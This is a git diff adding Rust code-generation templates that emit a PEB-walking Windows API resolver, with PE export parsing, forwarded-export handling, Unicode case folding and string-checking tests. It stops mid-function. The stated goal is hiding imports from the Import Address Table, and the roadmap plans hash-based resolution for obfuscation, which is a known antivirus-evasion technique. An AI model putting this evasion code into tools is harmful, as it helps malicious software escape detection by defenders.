+2. ~~x86 support~~ ✅ Implemented
+3. ~~Unicode case folding~~ ✅ Implemented
+4. ~~Forwarded exports~~ ✅ Implemented
+5. Error codes: Return structured errors instead of null pointers
+6. Caching: Cache frequently resolved modules and functions
+7. Hash-based resolution: Resolve by hash for additional obfuscation
diff --git a/src/internals/templates/resolver/base.rs b/src/internals/templates/resolver/base.rs
@@ -0,0 +1,1945 @@
+/// API resolver template for custom PEB-based module resolution
+///
+/// This module provides template functions that generate code for resolving
+/// Windows APIs without leaving static artifacts in the Import Address Table.
+///
+/// Generate inline assembly code to retrieve PEB pointer for both x86 and x64 Windows
+fn get_peb_asm() -> &'static str {
+ r#"let peb: *mut PEB;
+ #[cfg(target_pointer_width = "64")]
+ {
+ #[cfg(target_env = "msvc")]
+ std::arch::asm!("mov {}, qword ptr gs:[0x60]", out(reg) peb, options(nostack));
+ #[cfg(not(target_env = "msvc"))]
+ std::arch::asm!("mov {}, gs:[0x60]", out(reg) peb, options(nostack));
+ }
+ #[cfg(target_pointer_width = "32")]
+ {
+ #[cfg(target_env = "msvc")]
+ std::arch::asm!("mov {}, dword ptr fs:[0x30]", out(reg) peb, options(nostack));
+ #[cfg(not(target_env = "msvc"))]
+ std::arch::asm!("mov {}, fs:[0x30]", out(reg) peb, options(nostack));
+ }"#
+}
+
+/// Generate PEB structure imports from ntapi crate
+pub fn peb_structures() -> &'static str {
+ r#"use std::ffi::c_void;
+use std::ptr;
+use ntapi::ntpebteb::PEB;
+use ntapi::ntldr::LDR_DATA_TABLE_ENTRY;
+use winapi::shared::ntdef::LIST_ENTRY;"#
+}
+
+/// Generate PE export directory structures for parsing module exports
+pub fn pe_export_structures() -> &'static str {
+ r#"#[repr(C)]
+#[allow(non_snake_case)]
+struct IMAGE_DOS_HEADER {
+ e_magic: u16,
+ e_cblp: u16,
+ e_cp: u16,
+ e_crlc: u16,
+ e_cparhdr: u16,
+ e_minalloc: u16,
+ e_maxalloc: u16,
+ e_ss: u16,
+ e_sp: u16,
+ e_csum: u16,
+ e_ip: u16,
+ e_cs: u16,
+ e_lfarlc: u16,
+ e_ovno: u16,
+ e_res: [u16; 4],
+ e_oemid: u16,
+ e_oeminfo: u16,
+ e_res2: [u16; 10],
+ e_lfanew: i32,
+}
+
+#[repr(C)]
+#[allow(non_snake_case)]
+struct IMAGE_FILE_HEADER {
+ Machine: u16,
+ NumberOfSections: u16,
+ TimeDateStamp: u32,
+ PointerToSymbolTable: u32,
+ NumberOfSymbols: u32,
+ SizeOfOptionalHeader: u16,
+ Characteristics: u16,
+}
+
+#[repr(C)]
+#[allow(non_snake_case)]
+struct IMAGE_DATA_DIRECTORY {
+ VirtualAddress: u32,
+ Size: u32,
+}
+
+#[repr(C)]
+#[allow(non_snake_case)]
+struct IMAGE_OPTIONAL_HEADER64 {
+ Magic: u16,
+ MajorLinkerVersion: u8,
+ MinorLinkerVersion: u8,
+ SizeOfCode: u32,
+ SizeOfInitializedData: u32,
+ SizeOfUninitializedData: u32,
+ AddressOfEntryPoint: u32,
+ BaseOfCode: u32,
+ ImageBase: u64,
+ SectionAlignment: u32,
+ FileAlignment: u32,
+ MajorOperatingSystemVersion: u16,
+ MinorOperatingSystemVersion: u16,
+ MajorImageVersion: u16,
+ MinorImageVersion: u16,
+ MajorSubsystemVersion: u16,
+ MinorSubsystemVersion: u16,
+ Win32VersionValue: u32,
+ SizeOfImage: u32,
+ SizeOfHeaders: u32,
+ CheckSum: u32,
+ Subsystem: u16,
+ DllCharacteristics: u16,
+ SizeOfStackReserve: u64,
+ SizeOfStackCommit: u64,
+ SizeOfHeapReserve: u64,
+ SizeOfHeapCommit: u64,
+ LoaderFlags: u32,
+ NumberOfRvaAndSizes: u32,
+ DataDirectory: [IMAGE_DATA_DIRECTORY; 16],
+}
+
+#[repr(C)]
+#[allow(non_snake_case)]
+struct IMAGE_OPTIONAL_HEADER32 {
+ Magic: u16,
+ MajorLinkerVersion: u8,
+ MinorLinkerVersion: u8,
+ SizeOfCode: u32,
+ SizeOfInitializedData: u32,
+ SizeOfUninitializedData: u32,
+ AddressOfEntryPoint: u32,
+ BaseOfCode: u32,
+ BaseOfData: u32,
+ ImageBase: u32,
+ SectionAlignment: u32,
+ FileAlignment: u32,
+ MajorOperatingSystemVersion: u16,
+ MinorOperatingSystemVersion: u16,
+ MajorImageVersion: u16,
+ MinorImageVersion: u16,
+ MajorSubsystemVersion: u16,
+ MinorSubsystemVersion: u16,
+ Win32VersionValue: u32,
+ SizeOfImage: u32,
+ SizeOfHeaders: u32,
+ CheckSum: u32,
+ Subsystem: u16,
+ DllCharacteristics: u16,
+ SizeOfStackReserve: u32,
+ SizeOfStackCommit: u32,
+ SizeOfHeapReserve: u32,
+ SizeOfHeapCommit: u32,
+ LoaderFlags: u32,
+ NumberOfRvaAndSizes: u32,
+ DataDirectory: [IMAGE_DATA_DIRECTORY; 16],
+}
+
+#[repr(C)]
+#[allow(non_snake_case)]
+struct IMAGE_NT_HEADERS64 {
+ Signature: u32,
+ FileHeader: IMAGE_FILE_HEADER,
+ OptionalHeader: IMAGE_OPTIONAL_HEADER64,
+}
+
+#[repr(C)]
+#[allow(non_snake_case)]
+struct IMAGE_NT_HEADERS32 {
+ Signature: u32,
+ FileHeader: IMAGE_FILE_HEADER,
+ OptionalHeader: IMAGE_OPTIONAL_HEADER32,
+}
+
+#[repr(C)]
+#[allow(non_snake_case)]
+struct IMAGE_EXPORT_DIRECTORY {
+ Characteristics: u32,
+ TimeDateStamp: u32,
+ MajorVersion: u16,
+ MinorVersion: u16,
+ Name: u32,
+ Base: u32,
+ NumberOfFunctions: u32,
+ NumberOfNames: u32,
+ AddressOfFunctions: u32,
+ AddressOfNames: u32,
+ AddressOfNameOrdinals: u32,
+}"#
+}
+
+/// Generate helper function for Unicode case folding
+pub fn unicode_case_fold_fn() -> &'static str {
+ r#"unsafe fn unicode_case_fold(c: u16) -> u16 {
+ match c {
+ 0x0041..=0x005A => c + 32,
+ 0x00C0..=0x00D6 => c + 32,
+ 0x00D8..=0x00DE => c + 32,
+ 0x0100..=0x012E => if c % 2 == 0 { c + 1 } else { c },
+ 0x0132..=0x0136 => if c % 2 == 0 { c + 1 } else { c },
+ 0x0139..=0x0147 => if c % 2 == 1 { c + 1 } else { c },
+ 0x014A..=0x0176 => if c % 2 == 0 { c + 1 } else { c },
+ 0x0178 => 0x00FF,
+ 0x0179..=0x017D => if c % 2 == 1 { c + 1 } else { c },
+ 0x0181 => 0x0253,
+ 0x0182..=0x0184 => if c % 2 == 0 { c + 1 } else { c },
+ 0x0186 => 0x0254,
+ 0x0187 => 0x0188,
+ 0x0189 => 0x0256,
+ 0x018A => 0x0257,
+ 0x018B => 0x018C,
+ 0x018E => 0x01DD,
+ 0x018F => 0x0259,
+ 0x0190 => 0x025B,
+ 0x0191 => 0x0192,
+ 0x0193 => 0x0260,
+ 0x0194 => 0x0263,
+ 0x0196 => 0x0269,
+ 0x0197 => 0x0268,
+ 0x0198 => 0x0199,
+ 0x019C => 0x026F,
+ 0x019D => 0x0272,
+ 0x019F => 0x0275,
+ 0x01A0..=0x01A4 => if c % 2 == 0 { c + 1 } else { c },
+ 0x01A6 => 0x0280,
+ 0x01A7 => 0x01A8,
+ 0x01A9 => 0x0283,
+ 0x01AC => 0x01AD,
+ 0x01AE => 0x0288,
+ 0x01AF => 0x01B0,
+ 0x01B1 => 0x028A,
+ 0x01B2 => 0x028B,
+ 0x01B3..=0x01B5 => if c % 2 == 1 { c + 1 } else { c },
+ 0x01B7 => 0x0292,
+ 0x01B8 => 0x01B9,
+ 0x01BC => 0x01BD,
+ 0x01C4 => 0x01C6,
+ 0x01C5 => 0x01C6,
+ 0x01C7 => 0x01C9,
+ 0x01C8 => 0x01C9,
+ 0x01CA => 0x01CC,
+ 0x01CB..=0x01DB => if c % 2 == 1 { c + 1 } else { c },
+ 0x01DE..=0x01EE => if c % 2 == 0 { c + 1 } else { c },
+ 0x01F1 => 0x01F3,
+ 0x01F2 => 0x01F3,
+ 0x01F4 => 0x01F5,
+ 0x01F6 => 0x0195,
+ 0x01F7 => 0x01BF,
+ 0x01F8..=0x021E => if c % 2 == 0 { c + 1 } else { c },
+ 0x0220 => 0x019E,
+ 0x0222..=0x0232 => if c % 2 == 0 { c + 1 } else { c },
+ 0x023A => 0x2C65,
+ 0x023B => 0x023C,
+ 0x023D => 0x019A,
+ 0x023E => 0x2C66,
+ 0x0241 => 0x0242,
+ 0x0243 => 0x0180,
+ 0x0244 => 0x0289,
+ 0x0245 => 0x028C,
+ 0x0246..=0x024E => if c % 2 == 0 { c + 1 } else { c },
+ 0x0370..=0x0372 => if c % 2 == 0 { c + 1 } else { c },
+ 0x0376 => 0x0377,
+ 0x037F => 0x03F3,
+ 0x0386 => 0x03AC,
+ 0x0388..=0x038A => c + 37,
+ 0x038C => 0x03CC,
+ 0x038E..=0x038F => c + 63,
+ 0x0391..=0x03A1 => c + 32,
+ 0x03A3..=0x03AB => c + 32,
+ 0x03CF => 0x03D7,
+ 0x03D8..=0x03EE => if c % 2 == 0 { c + 1 } else { c },
+ 0x03F4 => 0x03B8,
+ 0x03F7 => 0x03F8,
+ 0x03F9 => 0x03F2,
+ 0x03FA => 0x03FB,
+ 0x03FD..=0x03FF => c - 130,
+ 0x0400..=0x040F => c + 80,
+ 0x0410..=0x042F => c + 32,
+ 0x0460..=0x0480 => if c % 2 == 0 { c + 1 } else { c },
+ 0x048A..=0x04BE => if c % 2 == 0 { c + 1 } else { c },
+ 0x04C0 => 0x04CF,
+ 0x04C1..=0x04CD => if c % 2 == 1 { c + 1 } else { c },
+ 0x04D0..=0x052E => if c % 2 == 0 { c + 1 } else { c },
+ 0x0531..=0x0556 => c + 48,
+ 0x10A0..=0x10C5 => c + 7264,
+ 0x10C7 => 0x2D27,
+ 0x10CD => 0x2D2D,
+ 0x13A0..=0x13EF => c + 38864,
+ 0x13F0..=0x13F5 => c + 8,
+ 0x1C90..=0x1CBA => c - 3008,
+ 0x1CBD..=0x1CBF => c - 3008,
+ 0x1E00..=0x1E94 => if c % 2 == 0 { c + 1 } else { c },
+ 0x1E9E => 0x00DF,
+ 0x1EA0..=0x1EFE => if c % 2 == 0 { c + 1 } else { c },
+ 0x1F08..=0x1F0F => c - 8,
+ 0x1F18..=0x1F1D => c - 8,
+ 0x1F28..=0x1F2F => c - 8,
+ 0x1F38..=0x1F3F => c - 8,
+ 0x1F48..=0x1F4D => c - 8,
+ 0x1F59 | 0x1F5B | 0x1F5D | 0x1F5F => c - 8,
+ 0x1F68..=0x1F6F => c - 8,
+ 0x1F88..=0x1F8F => c - 8,
+ 0x1F98..=0x1F9F => c - 8,
+ 0x1FA8..=0x1FAF => c - 8,
+ 0x1FB8..=0x1FB9 => c - 8,
+ 0x1FBA..=0x1FBB => c - 74,
+ 0x1FBC => 0x1FB3,
+ 0x1FC8..=0x1FCB => c - 86,
+ 0x1FCC => 0x1FC3,
+ 0x1FD8..=0x1FD9 => c - 8,
+ 0x1FDA..=0x1FDB => c - 100,
+ 0x1FE8..=0x1FE9 => c - 8,
+ 0x1FEA..=0x1FEB => c - 112,
+ 0x1FEC => 0x1FE5,
+ 0x1FF8..=0x1FF9 => c - 128,
+ 0x1FFA..=0x1FFB => c - 126,
+ 0x1FFC => 0x1FF3,
+ 0x2126 => 0x03C9,
+ 0x212A => 0x006B,
+ 0x212B => 0x00E5,
+ 0x2132 => 0x214E,
+ 0x2160..=0x216F => c + 16,
+ 0x2183 => 0x2184,
+ 0x24B6..=0x24CF => c + 26,
+ 0x2C00..=0x2C2F => c + 48,
+ 0x2C60 => 0x2C61,
+ 0x2C62 => 0x026B,
+ 0x2C63 => 0x1D7D,
+ 0x2C64 => 0x027D,
+ 0x2C67..=0x2C6B => if c % 2 == 1 { c + 1 } else { c },
+ 0x2C6D => 0x0251,
+ 0x2C6E => 0x0271,
+ 0x2C6F => 0x0250,
+ 0x2C70 => 0x0252,
+ 0x2C72 => 0x2C73,
+ 0x2C75 => 0x2C76,
+ 0x2C7E..=0x2C7F => c - 10815,
+ 0x2C80..=0x2CE2 => if c % 2 == 0 { c + 1 } else { c },
+ 0x2CEB..=0x2CED => if c % 2 == 1 { c + 1 } else { c },
+ 0x2CF2 => 0x2CF3,
+ 0xA640..=0xA66C => if c % 2 == 0 { c + 1 } else { c },
+ 0xA680..=0xA69A => if c % 2 == 0 { c + 1 } else { c },
+ 0xA722..=0xA72E => if c % 2 == 0 { c + 1 } else { c },
+ 0xA732..=0xA76E => if c % 2 == 0 { c + 1 } else { c },
+ 0xA779..=0xA77B => if c % 2 == 1 { c + 1 } else { c },
+ 0xA77D => 0x1D79,
+ 0xA77E..=0xA786 => if c % 2 == 0 { c + 1 } else { c },
+ 0xA78B => 0xA78C,
+ 0xA78D => 0x0265,
+ 0xA790..=0xA792 => if c % 2 == 0 { c + 1 } else { c },
+ 0xA796..=0xA7A8 => if c % 2 == 0 { c + 1 } else { c },
+ 0xA7AA => 0x0266,
+ 0xA7AB => 0x025C,
+ 0xA7AC => 0x0261,
+ 0xA7AD => 0x026C,
+ 0xA7AE => 0x026A,
+ 0xA7B0 => 0x029E,
+ 0xA7B1 => 0x0287,
+ 0xA7B2 => 0x029D,
+ 0xA7B3 => 0xAB53,
+ 0xA7B4..=0xA7C2 => if c % 2 == 0 { c + 1 } else { c },
+ 0xA7C4 => 0xA794,
+ 0xA7C5 => 0x0282,
+ 0xA7C6 => 0x1D8E,
+ 0xA7C7..=0xA7C9 => if c % 2 == 1 { c + 1 } else { c },
+ 0xA7D0 => 0xA7D1,
+ 0xA7D6 => 0xA7D7,
+ 0xA7D8 => 0xA7D9,
+ 0xA7F5 => 0xA7F6,
+ 0xFF21..=0xFF3A => c + 32,
+ _ => c,
+ }
+}"#
+}
+
+/// Generate helper function for comparing DLL names with Unicode case folding
+pub fn is_dll_match_fn() -> &'static str {
+ r#"unsafe fn is_dll_match(ldr_entry: *mut LDR_DATA_TABLE_ENTRY, target: &str) -> bool {
+ if ldr_entry.is_null() || (*ldr_entry).BaseDllName.Buffer.is_null() {
+ return false;
+ }
+
+ let len = (*ldr_entry).BaseDllName.Length as usize / 2;
+ let name_slice = std::slice::from_raw_parts(
+ (*ldr_entry).BaseDllName.Buffer,
+ len
+ );
+
+ let target_w: Vec<u16> = target.encode_utf16().collect();
+
+ if name_slice.len() != target_w.len() {
+ return false;
+ }
+
+ name_slice.iter().zip(target_w.iter()).all(|(a, b)| {
+ unicode_case_fold(*a) == unicode_case_fold(*b)
+ })
+}"#
+}
+
+/// Generate the main PEB-walking resolver function
+pub fn get_module_base_fn() -> String {
+ format!(
+ r#"pub unsafe fn get_module_base(target_dll: &str) -> *mut c_void {{
+ {}
+
+ if peb.is_null() {{
+ return ptr::null_mut();
+ }}
+
+ let ldr = (*peb).Ldr;
+ if ldr.is_null() {{
+ return ptr::null_mut();
+ }}
+
+ let head = &mut (*ldr).InMemoryOrderModuleList as *mut LIST_ENTRY;
+ let mut curr = (*head).Flink;
+
+ while curr != head {{
+ let entry = (curr as *mut u8).sub(0x10) as *mut LDR_DATA_TABLE_ENTRY;
+
+ if is_dll_match(entry, target_dll) {{
+ return (*entry).DllBase as *mut c_void;
+ }}
+ curr = (*curr).Flink;
+ }}
+
+ ptr::null_mut()
+}}"#,
+ get_peb_asm()
+ )
+}
+
+/// Generate function to resolve function address from module exports
+pub fn get_function_address_fn() -> &'static str {
+ r#"pub unsafe fn get_function_address(module_base: *mut c_void, function_name: &str) -> *mut c_void {
+ get_function_address_internal(module_base, function_name, 0)
+}
+
+unsafe fn get_function_address_internal(module_base: *mut c_void, function_name: &str, depth: u32) -> *mut c_void {
+ const MAX_FORWARD_STR_LEN: isize = 256;
+ const MAX_RECURSION_DEPTH: u32 = 10;
+
+ if module_base.is_null() || depth > MAX_RECURSION_DEPTH {
+ return ptr::null_mut();
+ }
+
+ let dos_header = module_base as *const IMAGE_DOS_HEADER;
+ if (*dos_header).e_magic != 0x5A4D {
+ return ptr::null_mut();
+ }
+
+ #[cfg(target_pointer_width = "64")]
+ let (export_dir_rva, export_dir_size) = {
+ let nt_headers = (module_base as *const u8).offset((*dos_header).e_lfanew as isize) as *const IMAGE_NT_HEADERS64;
+ if (*nt_headers).Signature != 0x4550 {
+ return ptr::null_mut();
+ }
+ (
+ (*nt_headers).OptionalHeader.DataDirectory[0].VirtualAddress,
+ (*nt_headers).OptionalHeader.DataDirectory[0].Size
+ )
+ };
+
+ #[cfg(target_pointer_width = "32")]
+ let (export_dir_rva, export_dir_size) = {
+ let nt_headers = (module_base as *const u8).offset((*dos_header).e_lfanew as isize) as *const IMAGE_NT_HEADERS32;
+ if (*nt_headers).Signature != 0x4550 {
+ return ptr::null_mut();
+ }
+ (
+ (*nt_headers).OptionalHeader.DataDirectory[0].VirtualAddress,
+ (*nt_headers).OptionalHeader.DataDirectory[0].Size
+ )
+ };
+
+ if export_dir_rva == 0 {
+ return ptr::null_mut();
+ }
+
+ let export_dir = (module_base as *const u8).offset(export_dir_rva as isize) as *const IMAGE_EXPORT_DIRECTORY;
+
+ let num_names = (*export_dir).NumberOfNames;
+ let addr_of_names = (module_base as *const u8).offset((*export_dir).AddressOfNames as isize) as *const u32;
+ let addr_of_functions = (module_base as *const u8).offset((*export_dir).AddressOfFunctions as isize) as *const u32;
+ let addr_of_name_ordinals = (module_base as *const u8).offset((*export_dir).AddressOfNameOrdinals as isize) as *const u16;
+
+ let target_bytes = function_name.as_bytes();
+
+ for i in 0..num_names {
+ let name_rva = *addr_of_names.offset(i as isize);
+ let name_ptr = (module_base as *const u8).offset(name_rva as isize);
+
+ let mut match_found = true;
+ let mut j = 0;
+ while j < target_bytes.len() {
+ if *name_ptr.offset(j as isize) != target_bytes[j] {
+ match_found = false;
+ break;
+ }
+ j += 1;
+ }
+
+ if match_found && *name_ptr.offset(j as isize) == 0 {
+ let ordinal = *addr_of_name_ordinals.offset(i as isize);
+ let func_rva = *addr_of_functions.offset(ordinal as isize);
+
+ if func_rva >= export_dir_rva && func_rva < export_dir_rva + export_dir_size {
+ let forward_str_ptr = (module_base as *const u8).offset(func_rva as isize);
+ let mut forward_str = Vec::new();
+ let mut k = 0;
+ loop {
+ let byte = *forward_str_ptr.offset(k);
+ if byte == 0 {
+ break;
+ }
+ forward_str.push(byte);
+ k += 1;
+ if k > MAX_FORWARD_STR_LEN {
+ return ptr::null_mut();
+ }
+ }
+
+ if let Ok(forward_string) = std::str::from_utf8(&forward_str) {
+ if let Some(dot_pos) = forward_string.find('.') {
+ let dll_name = &forward_string[..dot_pos];
+ let func_name = &forward_string[dot_pos + 1..];
+
+ let mut dll_with_ext = String::from(dll_name);
+ if !dll_with_ext.ends_with(".dll") {
+ dll_with_ext.push_str(".dll");
+ }
+
+ let forwarded_module = get_module_base(&dll_with_ext);
+ if !forwarded_module.is_null() {
+ return get_function_address_internal(forwarded_module, func_name, depth + 1);
+ }
+ }
+ }
+ return ptr::null_mut();
+ }
+
+ return (module_base as *const u8).offset(func_rva as isize) as *mut c_void;
+ }
+ }
+
+ ptr::null_mut()
+}"#
+}
+
+/// Generate complete API resolver module code
+pub fn generate_api_resolver() -> String {
+ format!(
+ "{}\n\n{}\n\n{}\n\n{}\n\n{}\n\n{}",
+ peb_structures(),
+ pe_export_structures(),
+ unicode_case_fold_fn(),
+ is_dll_match_fn(),
+ get_module_base_fn(),
+ get_function_address_fn()
+ )
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_peb_structures_contains_all_types() {
+ let code = peb_structures();
+ assert!(code.contains("PEB"));
+ assert!(code.contains("LIST_ENTRY"));
+ assert!(code.contains("LDR_DATA_TABLE_ENTRY"));
+ }
+
+ #[test]
+ fn test_peb_structures_has_imports() {
+ let code = peb_structures();
+ assert!(code.contains("use ntapi::ntpebteb"));
+ assert!(code.contains("use ntapi::ntldr"));
+ assert!(code.contains("use winapi::shared::ntdef"));
+ }
+
+ #[test]
+ fn test_peb_structures_imports_peb_types() {
+ let code = peb_structures();
+ assert!(code.contains("PEB"));
+ }
+
+ #[test]
+ fn test_peb_structures_imports_ldr_types() {
+ let code = peb_structures();
+ assert!(code.contains("LDR_DATA_TABLE_ENTRY"));
+ }
+
+ #[test]
+ fn test_peb_structures_imports_ntdef_types() {
+ let code = peb_structures();
+ assert!(code.contains("LIST_ENTRY"));
+ }
+
+ // These tests no longer apply since we're using crate types instead of manual definitions
+ // The types from ntapi are #[repr(C)] and have correct field layouts by definition
+
+ #[test]
+ fn test_is_dll_match_checks_null() {
+ let code = is_dll_match_fn();
+ assert!(code.contains("is_null()"));
+ assert!(code.contains("return false"));
+ }
+
+ #[test]
+ fn test_is_dll_match_uses_wide_strings() {
+ let code = is_dll_match_fn();
+ assert!(code.contains("encode_utf16"));
+ assert!(code.contains("Vec<u16>"));
+ }
+
+ #[test]
+ fn test_is_dll_match_compares_names() {
+ let code = is_dll_match_fn();
+ assert!(code.contains("unicode_case_fold"));
+ assert!(code.contains("BaseDllName"));
+ assert!(code.contains("name_slice.len() != target_w.len()"));
+ }
+
+ #[test]
+ fn test_get_module_base_reads_peb() {
+ let code = get_module_base_fn();
+ assert!(code.contains("gs:[0x60]") || code.contains("fs:[0x30]"));
+ assert!(code.contains("std::arch::asm!"));
+ assert!(code.contains("target_pointer_width"));
+ }
+
+ #[test]
+ fn test_get_module_base_walks_list() {
+ let code = get_module_base_fn();
+ assert!(code.contains("while curr != head"));
+ assert!(code.contains("(*curr).Flink")); // PascalCase from ntapi
+ }
+
+ #[test]
+ fn test_get_module_base_calculates_entry_offset() {
+ let code = get_module_base_fn();
+ assert!(code.contains("0x10")); // Offset to InMemoryOrderLinks in LDR_DATA_TABLE_ENTRY
+ assert!(code.contains("LDR_DATA_TABLE_ENTRY"));
+ }
+
+ #[test]
+ fn test_get_module_base_returns_dll_base() {
+ let code = get_module_base_fn();
+ assert!(code.contains("return (*entry).DllBase as *mut c_void")); // Cast to std::ffi::c_void
+ }
+
+ #[test]
+ fn test_get_module_base_returns_null_if_not_found() {
+ let code = get_module_base_fn();
+ assert!(code.contains("ptr::null_mut()"));
+ }
+
+ #[test]
+ fn test_get_module_base_uses_is_dll_match() {
+ let code = get_module_base_fn();
+ assert!(code.contains("is_dll_match(entry, target_dll)"));
+ }
+
+ #[test]
+ fn test_generate_api_resolver_includes_all_parts() {
+ let code = generate_api_resolver();
+ assert!(code.contains("use ntapi")); // Check for imports instead of struct definitions
+ assert!(code.contains("unsafe fn is_dll_match"));
+ assert!(code.contains("pub unsafe fn get_module_base"));
+ }
+
+ #[test]
+ fn test_generate_api_resolver_properly_formatted() {
+ let code = generate_api_resolver();
+ let lines: Vec<&str> = code.lines().collect();
+ assert!(
+ lines.len() > 10,
+ "Generated code should have multiple lines"
+ );
+ }
+
+ #[test]
+ fn test_pe_export_structures_contains_all_types() {
+ let code = pe_export_structures();
+ assert!(code.contains("IMAGE_DOS_HEADER"));
+ assert!(code.contains("IMAGE_NT_HEADERS64"));
+ assert!(code.contains("IMAGE_EXPORT_DIRECTORY"));
+ assert!(code.contains("IMAGE_FILE_HEADER"));
+ assert!(code.contains("IMAGE_OPTIONAL_HEADER64"));
+ assert!(code.contains("IMAGE_DATA_DIRECTORY"));
+ }
+
+ #[test]
+ fn test_pe_export_structures_has_required_fields() {
+ let code = pe_export_structures();
+ assert!(code.contains("e_magic"));
+ assert!(code.contains("e_lfanew"));
+ assert!(code.contains("DataDirectory"));
+ assert!(code.contains("NumberOfFunctions"));
+ assert!(code.contains("AddressOfFunctions"));
+ assert!(code.contains("AddressOfNames"));
+ assert!(code.contains("AddressOfNameOrdinals"));
+ }
+
+ #[test]
+ fn test_get_function_address_checks_null_module() {
+ let code = get_function_address_fn();
+ assert!(code.contains("if module_base.is_null()"));
+ assert!(code.contains("return ptr::null_mut()"));
+ }
+
+ #[test]
+ fn test_get_function_address_validates_pe_signature() {
+ let code = get_function_address_fn();
+ assert!(code.contains("0x5A4D")); // MZ signature
+ assert!(code.contains("0x4550")); // PE signature
+ }
+
+ #[test]
+ fn test_get_function_address_parses_export_directory() {
+ let code = get_function_address_fn();
+ assert!(code.contains("IMAGE_EXPORT_DIRECTORY"));
+ assert!(code.contains("NumberOfNames"));
+ assert!(code.contains("AddressOfNames"));
+ assert!(code.contains("AddressOfFunctions"));
+ assert!(code.contains("AddressOfNameOrdinals"));
+ }
+
+ #[test]
+ fn test_get_function_address_compares_function_names() {
+ let code = get_function_address_fn();
+ assert!(code.contains("function_name.as_bytes()"));
+ assert!(code.contains("name_ptr"));
+ }
+
+ #[test]
+ fn test_get_function_address_returns_function_pointer() {
+ let code = get_function_address_fn();
+ assert!(code.contains("func_rva"));
+ assert!(code.contains("as *mut c_void"));
+ }
+
+ #[test]
+ fn test_generate_api_resolver_includes_export_parsing() {
+ let code = generate_api_resolver();
+ assert!(code.contains("IMAGE_EXPORT_DIRECTORY"));
+ assert!(code.contains("pub unsafe fn get_function_address"));
+ }
+
+ #[test]
+ fn test_generate_api_resolver_has_both_functions() {
+ let code = generate_api_resolver();
+ assert!(code.contains("pub unsafe fn get_module_base"));
+ assert!(code.contains("pub unsafe fn get_function_address"));
+ }
+
+ #[test]
+ fn test_unicode_case_fold_function_exists() {
+ let code = generate_api_resolver();
+ assert!(code.contains("unsafe fn unicode_case_fold"));
+ assert!(code.contains("match c {"));
+ }
+
+ #[test]
+ fn test_x86_support_in_peb_asm() {
+ let asm_code = get_peb_asm();
+ assert!(asm_code.contains("target_pointer_width"));
+ assert!(asm_code.contains("fs:[0x30]"));
+ assert!(asm_code.contains("gs:[0x60]"));
+ }
+
+ #[test]
+ fn test_x86_structures_exist() {
+ let code = pe_export_structures();
+ assert!(code.contains("IMAGE_NT_HEADERS32"));
+ assert!(code.contains("IMAGE_OPTIONAL_HEADER32"));
+ assert!(code.contains("BaseOfData"));
+ }
+
+ #[test]
+ fn test_forwarded_export_detection() {
+ let code = get_function_address_fn();
+ assert!(code.contains("export_dir_size"));
+ assert!(code.contains("forward_str"));
+ assert!(code.contains("get_module_base"));
+ }
+
+ #[test]
+ fn test_forwarded_export_recursion_limit() {
+ let code = get_function_address_fn();
+ assert!(code.contains("depth"));
+ assert!(code.contains("MAX_RECURSION_DEPTH") || code.contains("depth > 10"));
+ }
+
+ #[test]
+ fn test_forwarded_export_parsing() {
+ let code = get_function_address_fn();
+ assert!(code.contains("find('.')"));
+ assert!(code.contains("dll_name"));
+ assert!(code.contains("func_name"));
+ }
+
+ #[test]
+ fn test_x86_and_x64_conditional_compilation() {
+ let code = get_function_address_fn();
+ assert!(code.contains("#[cfg(target_pointer_width = \"64\")]"));
+ assert!(code.contains("#[cfg(target_pointer_width = \"32\")]"));
+ assert!(code.contains("IMAGE_NT_HEADERS64"));
+ assert!(code.contains("IMAGE_NT_HEADERS32"));
+ }
+
+ #[test]
+ fn test_unicode_case_fold_has_comprehensive_mappings() {
+ let code = unicode_case_fold_fn();
+ assert!(code.contains("0x0041..=0x005A"));
+ assert!(code.contains("0x0391..=0x03A1"));
+ assert!(code.contains("0x0410..=0x042F"));
+ assert!(code.contains("0xFF21..=0xFF3A"));
+ }
+
+ #[test]
+ fn test_is_dll_match_uses_unicode_case_fold() {
+ let code = is_dll_match_fn();
+ assert!(code.contains("unicode_case_fold(*a)"));
+ assert!(code.contains("unicode_case_fold(*b)"));
+ }
+
+ // Shared helper functions for Windows integration tests
+ #[cfg(target_os = "windows")]
+ mod test_helpers {
+ use ntapi::ntldr::LDR_DATA_TABLE_ENTRY;
+ use ntapi::ntpebteb::PEB;
+ use std::ptr;
+ use winapi::shared::ntdef::LIST_ENTRY;
+
+ unsafe fn unicode_case_fold_impl(c: u16) -> u16 {
+ match c {
+ 0x0041..=0x005A => c + 32,
+ 0x00C0..=0x00D6 => c + 32,
+ 0x00D8..=0x00DE => c + 32,
+ 0x0100..=0x012E => {
+ if c % 2 == 0 {
+ c + 1
+ } else {
+ c
+ }
+ }
+ 0x0132..=0x0136 => {
+ if c % 2 == 0 {
+ c + 1
+ } else {
+ c
+ }
+ }
+ 0x0139..=0x0147 => {
+ if c % 2 == 1 {
+ c + 1
+ } else {
+ c
+ }
+ }
+ 0x014A..=0x0176 => {
+ if c % 2 == 0 {
+ c + 1
+ } else {
+ c
+ }
+ }
+ 0x0178 => 0x00FF,
+ 0x0179..=0x017D => {
+ if c % 2 == 1 {
+ c + 1
+ } else {
+ c
+ }
+ }
+ 0x0391..=0x03A1 => c + 32,
+ 0x03A3..=0x03AB => c + 32,
+ 0x0410..=0x042F => c + 32,
+ 0x0460..=0x0480 => {
+ if c % 2 == 0 {
+ c + 1
+ } else {
+ c
+ }
+ }
+ 0xFF21..=0xFF3A => c + 32,
+ _ => c,
+ }
+ }
+
+ pub unsafe fn is_dll_match_impl(
+ ldr_entry: *mut LDR_DATA_TABLE_ENTRY,
+ target: &str,
+ ) -> bool {
+ if ldr_entry.is_null() || (*ldr_entry).BaseDllName.Buffer.is_null() {
+ return false;
+ }
+
+ let len = (*ldr_entry).BaseDllName.Length as usize / 2;
+ let name_slice = std::slice::from_raw_parts((*ldr_entry).BaseDllName.Buffer, len);
+
+ let target_w: Vec<u16> = target.encode_utf16().collect();
+
+ if name_slice.len() != target_w.len() {
+ return false;
+ }
+
+ name_slice
+ .iter()
+ .zip(target_w.iter())
+ .all(|(a, b)| unicode_case_fold_impl(*a) == unicode_case_fold_impl(*b))
+ }
+
+ pub unsafe fn get_peb_impl() -> *mut PEB {
+ let peb: *mut PEB;
+ #[cfg(target_pointer_width = "64")]
+ {
+ #[cfg(target_env = "msvc")]
+ std::arch::asm!(
+ "mov {}, qword ptr gs:[0x60]",
+ out(reg) peb,
